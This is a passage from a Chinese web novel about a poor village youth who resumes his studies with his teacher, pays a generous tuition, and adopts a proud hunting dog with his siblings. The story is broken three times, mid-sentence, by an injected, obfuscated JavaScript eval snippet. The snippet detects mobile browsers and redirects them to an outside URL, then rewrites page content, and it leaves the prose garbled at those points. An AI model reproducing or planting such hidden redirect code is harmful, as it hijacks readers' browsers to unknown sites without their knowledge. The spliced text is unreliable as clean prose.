王大娘在心里腹诽,并未理会潘氏的挑拨。这种人她见多了。 到了秦家,却只见到秦高瑜。 “你哥哥姐姐呢?” 正和母鸡说话的小姑娘口齿清晰道:“大哥去拜夫子,二哥和姐姐去田里了。” “拜夫子?”王大娘惊喜道,“瞻哥儿要继续读书啦?这可是好事。” “嗯呢!” 秦高瑜赞同的点点小脑袋。 这一个月里,她样貌发生不小的变化。小脸蛋变得更加白皙圆润,总算有点婴儿肥,头发也细密了不少,一双大眼睛明亮有神,透露出一股机灵劲。 王大娘忍不住揉了揉她的小脑袋,小声道,“以后有人问你家有没有人,去哪了做什么,别说,要防备些。” “我知道呀,哥哥姐姐都说世上有好人和坏人。” 小姑娘笑出两个小梨涡,“大娘是好人,可以说。” “哎哟。” 王大娘被甜得想把她当心肝宝贝疼。 李夫子家。 李书之是外来户,当初他有意向来梨花村教书时,村长当即组织村民在村塾附近建了座泥砖屋。 两处离得近,秦高瞻提着腊肉粮食来李夫子家时,遇到许多学子,进了夫子家门后,还能听到一些学子的读书声。 李夫子教学积极,设了早读课,会时不时在正式授课前去转悠。而早读课并不强制要求学子到齐,全看自觉。 秦高瞻到时,李夫子才吃完早饭,正就着一杯热茶看书,看到他,有些惊喜。 “高瞻,你要回来读书了?” “夫子在上,受学生一拜。” 秦高瞻将手里的篮子递给闻声掀帘而出的吴氏,老老实实行了一次拜师礼。 “你本就是我的学生,何必再来一次?” 李夫子心情很好的将他扶起来,开口就是,“刚好我这会有空,来,看看你还记得多少。” 秦高瞻没料到回旋镖来得如此之快,他和弟弟妹妹说这话没过去多久呢。 “你啊,也不先问问瞻哥儿吃过没。” 吴氏仔细打量眼前的少年。 一个月前的病弱消失不见,人看着更加精神,穿着洗得很干净的粗布衣裳,彬彬有礼的模样正应了那句‘芝兰玉树少年郎’。 “师母,我已经吃过了。” “都病过一回的人,肯定晓得要更加爱惜身体,”李夫子捋捋胡子,“你忙你的去,别耽误我考核。” 吴氏无奈的摇头,提着秦高瞻送来的篮子走了。 她也听闻了秦高瞻上山挖药改善生活的事,因此这会并没有客气的推辞。 秦高瞻抢在李夫子开口前说:“夫子,我的确想捡起书本,明年下场试试。不过您也知晓我家的情况,弟弟妹妹还小,田地一时丢不得。我之前抄书的时候借着机会背诵了不少。您看这样如何,我平日在家中学习,隔几日带着问题和文章来找您请教。” 他知道李夫子每日早饭和晚饭后都会看书,故意笑道,“看您舍不舍得冷落藏书和我这个臭小子呆在一块。” “你也会贫嘴了。” 李夫子无奈瞪他,有些欣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890695|174491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慰,都这般活泼了,那是真的从鬼门关回来了。 “想让我答应,得先看你掌握了多少。要是四书五经背不下一半,还是乖乖给我来学堂,每次来半日也行。” 李夫子没有反感这个提议,也不觉得秦高瞻狂妄高傲。他向来因材施教,会将班上同学划几个等级,刚启蒙的,掌握大半的,可以下场一试的。 后来还出现第四类,便是田昌茂。他在课堂里学不了更多,加上心疼独自抚育他的娘亲想做些活补贴家里。李夫子便同意他不必常来课堂,隔几日带着文章来请教便可。 李夫子也乐得学生体验生活,如此写文才不会尽是花团锦簇,丝毫不接地气。 “我对背书有点心得,夫子请考。” 李夫子也不说先考哪本书,开口就是,“物格而后知至。” 秦高瞻立马说:“知至而后意诚…家齐而后国治,国治而后天下平…”① 见夫子没喊停,他一路往下背。 “好,到这里就可以了。” 李夫子问:“这段话你如何理解?” 秦高瞻顿了下。 其实他最初的打算是,他先将要考的书籍全都背下来,再请夫子全部讲解一遍,死记硬背,在这个过程逐渐产生自己的理解。之后夫子不断出题,他不断写文输出自己的观点。 他甚至愿意一日拿到多个考题写多篇文章,如此才能追上那些经验丰富的考生。 至于写诗,如果实在没灵气,他就套模板,无功无过不拖后腿就行。 李夫子这是? 秦高瞻想了想,说,“民,国之基也。要治国先治人,想治人,需修己……此乃修身治国平天下也。” 李夫子露出微笑,“光背诵可不行,得有自己的见解。既然你与旁人不同,不来学堂,不如来个读书百遍其义自见。我再帮你查漏补缺。” “夫子,您的意思是不先为我讲解一遍?” 这和一般教学过程不同。 没夫子只能读书百遍其义自见,有夫子,在课堂上,夫子都是先讲解再要求背诵,过几日随机抽查,从熟读背诵默写到知晓释义。有了这些基础,才能写诗作赋论策。 “高瞻,我考了许多年,始终只是个秀才,”李夫子神色淡淡,“我为你们讲解的,尽是我对这些书的理解。可这些理解一定对吗?一句话只能有一种理解吗?我不想我的观点碍了你的路。” 秦高瞻想到原身,原身曾先后在村学和县上一家私塾读书。两个夫子都是秀才,教过同一本书,对许多内容的理解还真不一样,而他们都是秀才,终其一生也没能再进一步。 如今回忆,两个夫子的态度截然相反。李夫子不强求他记住自己的解读,而另一个夫子不允许学子有任何自己的解读,认为这是冒犯了权威,也认为只有跟随他的脚步才能考中秀才。 真要一路跟随,那也只能考中秀才。 他当下只想死记硬背考秀才,夫子却想到更远,这份关怀和期盼让他心里暖暖的。 “夫子,学生明白了。” “明白就好,有些捷径不能走,”李夫子语气感慨,“乍看是近路,指不定哪日将你带入死巷中,彻底断了前路。你要衬得上你的名。” 26. 求学 之后,李夫子又随机抽查了些内容,发现秦高瞻那句擅长背诵并非大话,而大部分内容又能给出一些见解。原本内心不赞同秦高瞻明年就下场的他顿感欣慰。 “接下来考考你的诗赋……” 秦高瞻忙说:“夫子,马上要上课了,您歇一会吧。” 李夫子意犹未尽,不过他也并非完全不懂人情世故的人。若因教秦高瞻耽搁了教学,又会发生如之前学生和家长抵制一事。 “行,晚些时候你过来。” 秦高瞻松了口气,见吴氏忽然掀帘而出,连忙作揖要离开。 “等等。” 秦高瞻叹气,无奈的转过身。 李夫子不解,吴氏俯身附耳低语了几句,他顿时不满,“高瞻,你又不是不知私塾的学费,为何要将束脩翻一番?” 他注意到篮子里有个信封,应该装着学费。因为听闻学生挖药的事,便没推辞,可这不是学生送了二两银子来的理由。 “你挖药也不容易。” “夫子,其实我了县令大人的赏。” 他没说具体金额,但不打算隐瞒这件事。即便村长承诺顺其自然,可总有人不按规矩来,该知道的人还是会知道。 “原来防牛瘟的法子是你提供的,”李夫子高兴道,“还未出仕便为百姓着想,不错不错。” “夫君,”吴氏提醒他,“这也不是瞻哥儿浪费的理由。” 又拿出一两银子递给秦高瞻,“读书费银钱,你还有几个弟弟妹妹,不必和我们这般客气。” 李夫子赞同的点头。 秦高瞻没接,他认真道,“全村学子只有我能独自一人得到夫子的指点,换做其他人家,好比请了个西席。比起他们,我都算小气了。哪家西席一年只拿二两?” 他真心这般认为。 即便他是隔三差五清晨和晚上来找李夫子,可这是一对一个性化辅导啊,细算时间,夫子分给他的精力肯定多余其他大班教学的学子们。一年二两,还是他占了便宜呢。 “我也没和西席那般住你家,时刻教导你。”李夫子也有自己的理由。 “夫子,别和我推辞了,”秦高瞻露出狡黠的笑容,“时日久了,必然有人注意到我来请教的时辰不一般,也肯定有人会提出类似的要求。到时您告诉他们我给的学费,保准帮您免去不少麻烦。” 他说的类似要求并非指白日不来学堂,而是白日既来学堂,早晚也要夫子开小灶,但学费不变。 李夫子便想到当日石攀叫破他教导秦高瞻的事了。 当时不少学子和家长的反应的确让他心寒。诚然他免费教学秦高瞻对其他学生不公平,可反过来,他欣赏秦高瞻,有意收为弟子,多番照顾,那是他的自由。 村学也好,县里私塾甚至县学也好,哪个夫子没偏爱的弟子,没有私下资助的学生?还不许他有爱才之心啦? “高瞻,这些事交给大人处理。” “我已是家里的顶梁柱,算不得小孩,”秦高瞻笑嘻嘻,“夫子难道不愿收下弟子的孝敬?当日夫子困难之际也愿替我支付医药费,如今我得了赏却吝啬回报,岂不枉读圣贤书?” “你啊,”李夫子说不过他,“那行,我先留下来。若是你明年考中秀才,我便心安理得的收了。要是没考中,就算做来年的学费。” 吴氏隔空点点他,“就一两银子,哪里算替你支付医药费?更何况瞰哥儿后来还回来,我们什么都没做。” “夫子和师母有这份心意就足够了。”秦高瞻满脸真诚。 当初原身病重,李夫子是唯二送钱来的人。 那会新年才过不久,去岁收上来的学费差不多花完,新一年的学费还没来得及收,李家手头也紧,却也拼拼凑凑一两送来。 就算后来秦高瞰卖了田将钱还回去,这份心意也足以让人动容。 正因如此,他并不愿他再次入学的事传出去后,有人来为难夫子。二两学费足够让村里所有有小心思的人打退堂鼓。 离开李家,秦高瞻望向私塾,和几个四处张望的小孩对上视线。他露出一个笑容,那几人如受惊幼兽缩回去,等他走远后才重新探出头。 秦高瞻相信,以村里人八卦的程度,他入学的事在一日之内就能传遍整个村,接下来逐渐有人试探他,再去找夫子。 反正有二两束脩挡麻烦,他也无所谓那些传言,去了田里找秦高瞰。 “今日你跟着我学挖药,明日换阿琼。” 家里现在还余下近四十四两,可读书费钱,一家吃喝也费钱,万一有个头疼脑热,请大夫买药更是一笔大开销。 “好,我一定会多认几种草药!”秦高瞰斗志满满,趁着大哥眺望山林时朝妹妹做了个‘我会赢’的手势。 小姑娘轻哼了声。 秦高瞻带着弟弟挖了半日的药。之前在家里,弟弟妹妹时常帮忙处理药材,其实已经能分辨出一些药材的根茎,他这会主要教他们认识枝叶。 “不少药材在秋天会开花,更好辨别。那时我带你们来认。” 秦高瞰连忙点头。 他露出丰收的笑容,“黄精、当归、柴胡、丹参这几种,我已经完全不会认错了。之后我自己就可以来挖,不会耽误大哥学习。” 秦高瞻微笑:“马上要入夏,得给余下那批生长的机会,待秋日再挖。过些日子,我要带你认认这片山林夏日常见的草药。” 男孩笑容一滞,“我又要重头学习?” “没错呢,我也要学习,夏日那些药材我大多只在书里见过,万一认错白忙活就不好了。” 秦高瞰耷拉下脑袋,待回家见妹妹开心的端来猪油拌饭,想到妹妹也会吃学习的苦,心里又平衡了一些。 有福一起享,有苦一起吃。 “二哥,你表情好奇怪,”秦高琼疑惑歪脑袋,“难道我用腊肉炒了一盘青菜不对?还是不该往荠菜豆腐羹里放点猪油?” “没有没有。”秦高瞰赶紧摆手。 “哼,我们可是兄妹,你瞒不过我,你有心事!” 秦高瞰心虚的端起碗筷,含糊道,“等明日你就知道了。” 第二天秦高琼果然知道了。 她原本还在暗戳戳比较和二哥谁挖得多,得知夏秋冬也要学习,顿时耷拉下脑袋,小表情和双胞胎哥哥一模一样。天呐,所有的药就不能一年四季都有,学一个季节管一辈子? 秦高瞻只当做没发现。 中午回家路上,有村民特意偶遇他,笑呵呵的问,“瞻哥儿,你真交了二两学费?” “毕竟需要夫子多费些心,他学问又好,我还怕二两不够呢。” 又故作好奇,“你家有材也想在家学习,偶尔去请教夫子?” 秦高琼大大咧咧道:“大哥,这又不是你的特权,补齐学费谁都可以吧。” “说得也是,这样我早晚也不会孤零零了。叔,心动要趁早啊,指不定夫子嫌累要限制名额。” 那村民的笑容变得僵硬,打个招呼匆忙离开。 “真心动啦?”秦高琼惊讶,“迫不及待回家拿银子?” 秦高瞻摸摸她脑袋,这单纯的妹妹哟。 “可能吧。” 当天晚上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15895353|174491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,待学子们下学回家,寻思着夫子也吃完晚饭,秦高瞻才溜达到夫子家,路上遇到村民还会主动打招呼,别人问他做什么也会一五一十回答。 到了李夫子家,他还请功,“夫子,我没说错吧,您免了不少麻烦。” 李夫子瞪他,“别说这些有的没的,快,把你作的诗拿给我批阅。” 秦高瞻表情苦涩起来。 吴氏端了茶水点心过来,见他这样,小声道,“其实昨日中午,我们正吃着午饭呢,石攀他爹就来了,气得他只吃了几口就撂筷子。” “又是他们啊。” 秦高瞻感慨了句,便不多言。 从昨日到今日,好些人故意偶遇找他打听。得知收费二两都歇了心思,还有的以长辈的身份教育他太过奢侈浪费。 他觉得自己赚了,那些人觉得他吃亏,也不愿意吃亏,他重新入学的事只会热闹几日就被压下去。 李夫子拍桌,“高瞻,你的诗。” 吴氏朝秦高瞻眨眼,小声道,“这是还气着呢。” 说完就走,不给李夫子发作的机会。 秦高瞻苦哈哈的拿出自己的诗,他觉得夫子看完会更气。 “和你七八岁作的诗没什么区别。在这方面你是一点都不开窍。” 李夫子气哼哼的拿出一本诗集。 “这些是我读书那些年四处打听收集的诗作。其中不少源自当时颇负盛名的才子。” 不是每个才子进士都会出诗集,这时代的信息传播渠道又有限,意味着这本诗集可遇不可求。 秦高瞻感动极了,“我一定好好研究,不辜负夫子您的期望!” “以诗见真章。” 李夫子不为所动,敲敲桌子,“拿给我看看。” 秦高瞻再次苦哈哈的拿出自己默写的文章。 昨日坦白他得了县令的赏后,也说了自己被考核的事。 看中的学生时隔许久再次写文章,结果出题人和批阅人都不是他,李夫子憋着一口气,此刻看了文章,眉头皱得老高,似有不满。 秦高瞻早有心理准备,“县令大人说我学问尚浅。” 李夫子不乐意了,“分明言之有物,许多人读个七八年都没这样的能耐。” 他提笔润色,“只需改变一些行文。” 秦高瞻凑过去看,很快张大嘴。 如果说他写的文章如同实验报告,有内容但枯燥。李夫子在保留他的核心观点基础上,将这篇文章变得通俗流畅之余又清新自然。如同坐在野外,戴着草帽,饮着粗茶,看着成群的牛羊穿越茂密的草丛。 “夫子,你好厉害!” 李夫子哼笑:“阅而不教,不如不阅。” 秦高瞻不敢接话。 李夫子又说:“有人写文雄奇瑰丽,有人幽婉典雅,还有人精巧艳丽,可那些都不适合你,你在一年内也达不到那个水准。既是农家子,又言之有物,干脆往朴素自然、清隽流畅的方向发展。下一篇文,你可以试试整散结合,即便语言朴素,也能装作富有文采。活用文体亦是一种智慧。” “学生受教了。” “你看这个地方……” 李夫子属于教学起来会忘乎所以的人。 秦高瞻惦记他年迈,一看时辰差不多了便提出告退。 李夫子再次意犹未尽。 吴氏走过来,“瞻哥儿还在长身体呢,熬夜可不好。” 李夫子这才放过他,留了新的考题。 “对了,瞻哥儿,”吴氏又叫住他,“你昨日不是说想寻只半大的狗看门么,稍大些的狗要么?” 27. 榆钱窝窝 “狗已经在家里了?这狗都不叫么?” 秦高瞻待了这么久,一声都没听到。 “那狗,”吴氏斟酌着说辞,“有点特别。” 她引着秦高瞻去见狗,途中解释,“原本这狗是托阿康舅舅找来给阿康解闷的。结果昨日到后,它不怎么叫,也不怎么理人,甚至……唉,你看了就知道。要是你们家不要,我就还回去。阿康舅舅说,这狗是某个猎户养的猎犬后代呢,看着可精神了,就是不理人。” 吴氏越说越郁闷。 秦高瞻也很快见到那只狗,是一只黑色的细犬,细腰长腿,灯光不明都能看出它的毛发跟绸缎似的,可顺滑了。 长得特别精神,与其说不理人,不如说鄙视来看它的两人,鼻子喷气的时候仿佛在冷哼。 秦高瞻总算明白吴氏的郁闷了,又觉得这狗忒聪明。 看家嘛,就需要聪明的狗,好过那些给小偷开门带路的狗。 “师母,这狗多大啦?” “说是七八个月。” “哎?看上去一岁多了。” “它爹也是细犬,娘亲不清楚。” 秦高瞻寻思着这狗估计是杂交后代,七八个月就和一岁多的细犬一般大。 他有些心动,可这狗不理人啊。 “嘬嘬嘬。” 他凑近,蹲下探出手表示友好。 黑狗那双明亮的眼睛盯着他看了几息,扭过头。 秦高瞻:“……”好傲啊。 吴氏无奈扶额,“也不理你,看来只能还回去了。” “师母,不如让我弟弟妹妹也试试?” “瞰哥儿和琼姐儿可以,瑜姐儿就算了,太小了,要是被吓到就不好。” “是这个理,我明个早上带他们来试试。” 听说要去见狗狗,三兄妹都很开心。 秦高瑜托着脸,小声道,“我也想去,哥哥姐姐在,不会被吓到。” “没错,我会保护阿瑜的。” 秦高琼也不想落下小妹一人。 “那就一起去,阿瑜你离远些就行。” “没问题,我肯定乖乖的。” 小姑娘拍着心口承诺。 次日,寻思着李夫子去学堂了,秦高瞻才带着弟弟妹妹上门,还带了些榆钱窝窝。 南方榆钱树不多,至少梨花村没有。王大娘男人去临县看怀孕的闺女时,在路边瞧见一棵,刚好手里有工具,摘了不少,给了他们家一些。 今个早上起来,秦高瞻就把榆钱洗干净控干水和面粉一起搅拌,又加了些盐捏成窝窝状上锅蒸。 蒸熟后,四兄妹按照各自的口味蘸料吃了些,又带了些给吴氏。 “榆钱窝窝啊,我好多年没吃过了。” 吴氏幼年住在北方,吃过不少榆钱,如今定居在梨花村,偶尔也会怀念故乡的味道。 不管秦高瞻是有心还是无意,她都领了这份情,心里十分妥帖。 拿了几块点心分给几个小孩,她才领着几人去见那只傲气的黑狗。 “阿瑜,婶婶牵着你,千万别靠近哦。” “嗯嗯~” 秦高瑜乖巧应了,见那只狗时躲在吴氏身后,只探出一个小脑袋。 黑狗今日还是谁都不理,秦高琼试图上手摸时还不耐烦甩尾巴。它最初也不理秦高瑜,只是小姑娘好奇又害怕,探出脑袋,缩回去,又探出脑袋,它不耐烦了,开始哈气。 见状,秦高琼不乐意了。 “嘿,我在这还敢欺负小妹?” 她凶巴巴的吼回去,“坏狗,再吓唬阿瑜我揍你啊!” 黑狗一愣,第一次汪起来。 “汪汪汪!”秦高琼不甘示弱,凶巴巴的汪回去。 黑狗:“汪汪汪!” “汪汪汪!” 旁观的人傻眼了。 而汪汪的一人一狗越靠越近。 秦高瞻回神,赶紧制止妹妹,“阿琼,别离太近!” 话音落时,一人一狗同时朝前扑。 秦高琼速度更快,直接抓住狗嘴一捏,另一只手搂住黑狗的脖子,得意道,“再叫啊,你再叫啊!” “呜呜呜!” 黑狗喉咙里挤出细小的呜呜声,原本刨地的长腿重新屈下来趴在地上,之前不怎么摇晃的尾巴摇得飞起。 “这是…认主了?”吴氏气笑了,“这狗还真傲,非得驯服才行。” 她拍手,爽快道,“也算是解决了一个麻烦,阿琼,你把它带回家吧。” “谢谢婶婶!” 秦高琼不捏狗嘴了,改为搓狗头,“你长得可真俊,不如叫你俊俊?” “嗷呜!” “不乐意啊,那叫你黑旋风?” “咳咳!” 秦高瞻想到黑旋风李逵那庞大的身躯,又看看细腰腿长的黑狗,忍着笑。 黑狗似乎注意到,朝他哈气。 “嘿,还敢吓唬我大哥?” 秦高琼拍拍狗脑袋,黑狗重新趴下了,发出细小的呜呜声。 “就这么定了,以后你叫黑旋风,一定要和旋风似的跑得飞快,给我们看家,我还带你去打猎。” “哦,打猎?” 秦高瞻总算明白妹妹这么积极的原因了。 他微笑:“连药材都挖不明白,就跳到打猎啦?” “咳咳,”秦高琼装傻,迅速牵起绳子,“走,咱们回家。婶婶再见!” 她溜得飞快,秦高瞰赶紧追上去,苦口婆心的劝,“阿琼,打猎危险,虽说咱们这片山……对了,婶婶再见!” 声音逐渐远去。 秦高瞻无奈叹气,望向吴氏,还未开口,吴氏便说,“别和我客气,是黑旋风选了你家。再说啦,真让我还回去,我还没功夫呢,阿康舅舅住在县里,来往一次也麻烦。” 秦高瞻便没多说,招呼小妹告辞。 “婶婶再见~” 秦高瑜伸出小爪子挥挥。 等出了李夫子的家门,走出一段距离,小姑娘才好奇道,“阿康是谁呀?婶婶的孩子吗?” “嗯,他们的独子。” “那我怎么从没见过阿康哥哥?” 小姑娘表示自己走遍了梨花村,见到的人可多了。 “这个嘛,”秦高瞻轻声道,“阿康哥哥生病了,不怎么出门。你在婶婶面前不要提他哦。” “嗯嗯,我知道了。” 小姑娘乖巧应了。她个矮,没瞧见大哥的表情有些怅然。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15899720|174491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑旋风怕秦高琼,但不怕家里其他人以及两只小母鸡,担心母鸡被吓得不下蛋,黑旋风被限制了活动范围,入夜后睡在堂屋角落里。 家里多了一只狗,大家都没适应。当天晚上秦高瞻起夜时路过堂屋,见到两抹亮光,吓了一跳。 “原来是你啊黑旋风,你这身皮毛也太……” 秦高瞻拍拍心口,决定多提醒弟弟妹妹,别每个人起夜都被黑狗吓一跳。 接下来几日,秦家过得十分规律。 秦高瞻只花小半日教挖药,余下交给弟弟妹妹自由发挥,他可以做些其他农活,剩下的时间读书,偶尔去找夫子请教。 他们还移栽了余下几种菜苗,又去田里查看苦荞的出苗情况,及时补种。 因担心黑旋风在家吓唬小妹、小母鸡又精力旺盛,秦高琼进山时都会带着它一块,每次回家,这只黑狗都是趴在地上直吐舌头,对秦高琼的敬畏更上一层楼。 不过也是因此,它逐渐和秦家人混熟了。 秦高瞻决定以后它和秦高瑜轮流看家,偶尔也将小妹带出去,也不需要她劳作,陪着说说话,增进感情,否则一日里,他们不是劳作就是学习,没人和小妹交流。 这日检查完向日葵的出苗情况后,秦高瞻带了不少荠菜回来放在厨房。 他吃过午饭,正要看书,就听到小妹乐呵呵的声音。 “村长伯伯好!” 村长怎么又来了? 秦高瞻赶紧出门,见村长掏出一块饴糖给小妹,提醒道,“阿瑜,要克制哦。” 小姑娘拿着饴糖的小手慢吞吞放下,过了几息才不太情愿的塞到口袋里。 “怎么不让阿瑜吃糖?”王村长疑惑。 “她最近吃太多了。”秦高瞻无奈。 王村长以为自己听错了,他们梨花村还能有人吃糖吃太多?就算县令给了赏,秦高瞻也不像是那种会惯着弟弟妹妹的人。 “就之前那事,”看出他的疑惑,秦高瞻小声解释,“找我们几个大的打听不出什么,便来哄阿瑜。” 在王村长蹙眉时,他轻松一笑,故作没发现小妹悄悄挪动脚丫子远离,“可阿瑜多聪明呀,送来的饴糖都收下,要紧的话一句都不说。” 一人给一颗,也足够小姑娘吃得满口香甜。 “那些人可真是!” 王村长不满又无可奈何,“我去提醒里正时已经晚了。里正又说顺其自然,他想夸就夸。” 起初他也这么觉得,后来被老妻一提醒,才想起来他觉得很聪明的秦高瞻才十四岁,几个弟弟妹妹更小,满脸写着好欺负。家里要是有财,不就更招人惦记么? “我明白,”秦高瞻有心里准备,并不恼,“村长今日来是为了别的事吧?” “对对对,这一打岔差点忘了,”王村长指了指田地的方向,“你家那些水田种的是什么?反正不是水稻。” “苦荞,我家地太贫瘠,我还准备种豆养一养。” 秦高瞻更疑惑,为这点事上门?村长也没这么闲吧? “苦荞啊,咱们村水田没有种荞的先例,”王村长很苦恼,“也不知能不能种。” 秦高瞻傻眼,“种什么还有规定?我是说,荞也是粮食,县衙也收,难道不能种?”